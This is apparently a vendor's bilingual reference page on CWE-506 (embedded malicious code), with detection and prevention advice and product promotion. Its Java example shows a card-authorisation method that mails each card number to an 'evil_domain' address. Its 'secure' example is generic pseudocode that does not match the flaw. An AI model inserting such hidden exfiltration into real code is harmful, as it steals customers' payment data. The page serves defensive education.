CWE-506 Classe Incomplet

Embedded Malicious Code

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

Définition

What is CWE-506?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.
Often called a Trojan horse, logic bomb, time bomb, or backdoor, this malicious code is designed to perform a legitimate function while secretly exploiting the system's permissions. The developer who inserts it typically aims to bypass security controls, steal data, or cause damage at a specific future trigger, abusing the trust placed in the application. Detecting these intentional flaws requires scrutinizing code for unexpected behaviors, hidden payloads, or suspicious time-based logic. Managing this risk at scale is difficult; an ASPM platform like Plexicus can help by correlating SAST findings with behavioral anomalies and using AI to prioritize these high-severity, intentional threats across your entire software supply chain.
Impact réel

Real-world CVEs caused by CWE-506

  • A command history tool was shipped with a code-execution backdoor inserted by a malicious party.

Comment les attaquants l'exploitent

Parcours de l'attaquant étape par étape

  1. 1

    Identifier un chemin de code qui traite des entrées non fiables sans validation.

  2. 2

    Élaborer une charge utile qui exploite le comportement non sécurisé — injection, traversal, débordement ou abus de logique.

  3. 3

    Délivrer la charge utile via une requête normale et observer la réaction de l'application.

  4. 4

    Itérer jusqu'à ce que la réponse divulgue des données, exécute le code de l'attaquant ou élève les privilèges.

Exemple de code vulnérable

Vulnerable Java

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Vulnérable Java
boolean authorizeCard(String ccn) {
```
// Authorize credit card.* 
  		
  		
  		 *...* 
  		
  		mailCardNumber(ccn, "evil_developer@evil_domain.com");}
Exemple de code sécurisé

Secure pseudo

Sécurisé pseudo
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Liste de contrôle de prévention

How to prevent CWE-506

  • Testing Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
Signaux de détection

How to detect CWE-506

Manual Static Analysis - Binary or Bytecode SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Dynamic Analysis with Manual Results Interpretation SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Automated Monitored Execution

Manual Static Analysis - Source Code SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Manual Source Code Review (not inspections)

Automated Static Analysis SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Origin Analysis

Correction automatique Plexicus

Plexicus détecte automatiquement CWE-506 et ouvre une PR de correction en moins de 60 secondes.

Codex Remedium analyse chaque commit, identifie cette faiblesse précise et livre une pull request prête à être relue avec le correctif. Pas de tickets. Pas de transferts.

Questions fréquentes

Frequently asked questions

Qu'est-ce que CWE-506 ?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

Quelle est la gravité de CWE-506 ?

MITRE n'a pas publié de note de probabilité d'exploitation pour cette faiblesse. Traitez-la comme un impact moyen jusqu'à ce que votre modèle de menace prouve le contraire.

Quels langages ou plateformes sont affectés par CWE-506 ?

MITRE n'a pas spécifié les plateformes affectées pour ce CWE — il peut s'appliquer à la plupart des stacks applicatives.

Comment puis-je prévenir CWE-506 ?

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Comment Plexicus détecte et corrige CWE-506 ?

Le moteur SAST de Plexicus reconnaît la signature de flux de données de CWE-506 à chaque commit. Lorsqu'une correspondance est trouvée, notre agent Codex Remedium ouvre une PR de correction avec le code corrigé, les tests et un résumé d'une ligne pour le relecteur.

Où puis-je en savoir plus sur CWE-506 ?

MITRE publie la définition canonique à https://cwe.mitre.org/data/definitions/506.html. Vous pouvez également consulter la documentation OWASP et NIST pour des conseils adjacents.

Prêt quand vous l'êtes

Arrêtez de payer par développeur.
Commencez à fermer la boucle.

Plexicus est l'ASPM natif IA qui scanne, filtre, corrige, penteste et explique — de façon autonome. Développeurs illimités, dépôts illimités, actions IA à usage équitable. Vrai niveau gratuit, €269/mo annuel quand vous êtes prêt.